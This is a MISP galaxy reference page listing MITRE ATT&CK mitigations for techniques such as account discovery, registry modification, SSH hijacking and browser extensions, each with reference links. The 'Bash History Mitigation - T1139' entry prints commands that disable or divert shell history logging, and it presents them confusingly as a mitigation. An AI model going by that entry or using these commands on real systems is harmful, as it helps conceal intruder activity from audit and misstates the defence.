Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Account Discovery Mitigation - T1087"*

View relationships graph

Account Discovery Mitigation - T1087 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 4779. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1087
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

The tag is: *misp-galaxy:mitre-course-of-action="Valid Accounts Mitigation - T1078"*

View relationships graph

Valid Accounts Mitigation - T1078 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 4780. Table References

Links
https://attack.mitre.org/mitigations/T1078
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach
https://technet.microsoft.com/en-us/library/dn487450.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://www.us-cert.gov/ncas/alerts/TA13-175A

Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Multilayer Encryption Mitigation - T1079"*

View relationships graph

Multilayer Encryption Mitigation - T1079 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"

Table 4781. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1079

Modify Registry Mitigation - T1112

Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Modify Registry Mitigation - T1112"*

View relationships graph

Modify Registry Mitigation - T1112 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 4782. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1112
https://technet.microsoft.com/en-us/library/ee791851.aspx

Authentication Package Mitigation - T1131

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: *misp-galaxy:mitre-course-of-action="Authentication Package Mitigation - T1131"*

View relationships graph

Authentication Package Mitigation - T1131 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"

Table 4783. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/mitigations/T1131
https://technet.microsoft.com/en-us/library/dn408187.aspx

Screen Capture Mitigation - T1113

Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Screen Capture Mitigation - T1113"*

View relationships graph

Screen Capture Mitigation - T1113 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 4784. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1113
https://technet.microsoft.com/en-us/library/ee791851.aspx

Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Email Collection Mitigation - T1114"*

View relationships graph

Email Collection Mitigation - T1114 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 4785. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1114
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Input Prompt Mitigation - T1141

This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).

The tag is: *misp-galaxy:mitre-course-of-action="Input Prompt Mitigation - T1141"*

View relationships graph

Input Prompt Mitigation - T1141 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"

Table 4786. Table References

Links
https://attack.mitre.org/mitigations/T1141

Clipboard Data Mitigation - T1115

Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Clipboard Data Mitigation - T1115"*

View relationships graph

Clipboard Data Mitigation - T1115 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 4787. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1115
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

LC_LOAD_DYLIB Addition Mitigation - T1161

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn't included as part of an update, it should be investigated.

The tag is: *misp-galaxy:mitre-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"*

View relationships graph

LC_LOAD_DYLIB Addition Mitigation - T1161 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"

Table 4788. Table References

Links
https://attack.mitre.org/mitigations/T1161

Code Signing Mitigation - T1116

Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)

The tag is: *misp-galaxy:mitre-course-of-action="Code Signing Mitigation - T1116"*

View relationships graph

Code Signing Mitigation - T1116 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Table 4789. Table References

Links
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1116
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
https://technet.microsoft.com/en-us/library/cc733026.aspx

Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Automated Collection Mitigation - T1119"*

View relationships graph

Automated Collection Mitigation - T1119 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 4790. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1119
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Template Injection Mitigation - T1221

Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)

The tag is: *misp-galaxy:mitre-course-of-action="Template Injection Mitigation - T1221"*

View relationships graph

Template Injection Mitigation - T1221 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 4791. Table References

Links
https://attack.mitre.org/mitigations/T1221
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6

Audio Capture Mitigation - T1123

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Audio Capture Mitigation - T1123"*

View relationships graph

Audio Capture Mitigation - T1123 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 4792. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1123
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Encoding Mitigation - T1132

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Data Encoding Mitigation - T1132"*

View relationships graph

Data Encoding Mitigation - T1132 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 4793. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1132

Video Capture Mitigation - T1125

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Video Capture Mitigation - T1125"*

View relationships graph

Video Capture Mitigation - T1125 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

Table 4794. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1125
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Login Item Mitigation - T1162

Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).

The tag is: *misp-galaxy:mitre-course-of-action="Login Item Mitigation - T1162"*

Table 4795. Table References

Links
https://attack.mitre.org/mitigations/T1162
https://support.apple.com/en-us/HT204005

Domain Fronting Mitigation - T1172

If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.

The tag is: *misp-galaxy:mitre-course-of-action="Domain Fronting Mitigation - T1172"*

View relationships graph

Domain Fronting Mitigation - T1172 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"

Table 4796. Table References

Links

http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016
https://attack.mitre.org/mitigations/T1172
https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html

AppCert DLLs Mitigation - T1182

Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="AppCert DLLs Mitigation - T1182"*

View relationships graph

AppCert DLLs Mitigation - T1182 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"

Table 4797. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1182

Spearphishing Link Mitigation - T1192

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing Link Mitigation - T1192"*

View relationships graph

Spearphishing Link Mitigation - T1192 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"

Table 4798. Table References

Links
https://attack.mitre.org/mitigations/T1192

Hidden Window Mitigation - T1143

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Window Mitigation - T1143"*

View relationships graph

Hidden Window Mitigation - T1143 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 4799. Table References

Links
https://attack.mitre.org/mitigations/T1143

Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-course-of-action="Create Account Mitigation - T1136"*

View relationships graph

Create Account Mitigation - T1136 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

Table 4800. Table References

Links
https://attack.mitre.org/mitigations/T1136

Application Shimming Mitigation - T1138

There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: *misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"*

View relationships graph

Application Shimming Mitigation - T1138 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"

Table 4801. Table References

Links
https://attack.mitre.org/mitigations/T1138

Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"*

View relationships graph

Spearphishing Attachment Mitigation - T1193 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"

Table 4802. Table References

Links
https://attack.mitre.org/mitigations/T1193

Bash History Mitigation - T1139

There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user's .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.

The tag is: *misp-galaxy:mitre-course-of-action="Bash History Mitigation - T1139"*

View relationships graph

Bash History Mitigation - T1139 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

Table 4803. Table References

Links
https://attack.mitre.org/mitigations/T1139

Gatekeeper Bypass Mitigation - T1144

Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.

The tag is: *misp-galaxy:mitre-course-of-action="Gatekeeper Bypass Mitigation - T1144"*

View relationships graph

Gatekeeper Bypass Mitigation - T1144 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"

Table 4804. Table References

Links
https://attack.mitre.org/mitigations/T1144

Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-course-of-action="Private Keys Mitigation - T1145"*

View relationships graph

Private Keys Mitigation - T1145 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 4805. Table References

Links
https://attack.mitre.org/mitigations/T1145

Hidden Users Mitigation - T1147

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"*

View relationships graph

Hidden Users Mitigation - T1147 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"

Table 4806. Table References

Links

https://attack.mitre.org/mitigations/T1147

SSH Hijacking Mitigation - T1184

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

The tag is: *misp-galaxy:mitre-course-of-action="SSH Hijacking Mitigation - T1184"*

View relationships graph

SSH Hijacking Mitigation - T1184 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"

Table 4807. Table References

Links
https://attack.mitre.org/mitigations/T1184
https://www.symantec.com/connect/articles/ssh-and-ssh-agent

LC_MAIN Hijacking Mitigation - T1149

Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.

The tag is: *misp-galaxy:mitre-course-of-action="LC_MAIN Hijacking Mitigation - T1149"*

View relationships graph

LC_MAIN Hijacking Mitigation - T1149 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"

Table 4808. Table References

Links
https://attack.mitre.org/mitigations/T1149

Startup Items Mitigation - T1165

Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.

The tag is: *misp-galaxy:mitre-course-of-action="Startup Items Mitigation - T1165"*

View relationships graph

Startup Items Mitigation - T1165 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"

Table 4809. Table References

Links
https://attack.mitre.org/mitigations/T1165

Dylib Hijacking Mitigation - T1157

Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.

The tag is: *misp-galaxy:mitre-course-of-action="Dylib Hijacking Mitigation - T1157"*

View relationships graph

Dylib Hijacking Mitigation - T1157 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"

Table 4810. Table References

Links
https://attack.mitre.org/mitigations/T1157

Launch Agent Mitigation - T1159

Restrict user’s abilities to create Launch Agents with group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launch Agent Mitigation - T1159"*

View relationships graph

Launch Agent Mitigation - T1159 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"

Table 4811. Table References

Links
https://attack.mitre.org/mitigations/T1159

Browser Extensions Mitigation - T1176

Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)

Change settings to prevent the browser from installing extensions without sufficient permissions.

Close out all browser sessions when finished using them.

The tag is: *misp-galaxy:mitre-course-of-action="Browser Extensions Mitigation - T1176"*

View relationships graph

Browser Extensions Mitigation - T1176 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

Table 4812. Table References

Links
http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/
https://attack.mitre.org/mitigations/T1176

Process Doppelgänging Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Doppelgänging Mitigation - T1186"*

View relationships graph

Process Doppelgänging Mitigation - T1186 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186" with estimative-language:likelihood-probability="almost-certain"

Table 4813. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1186
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

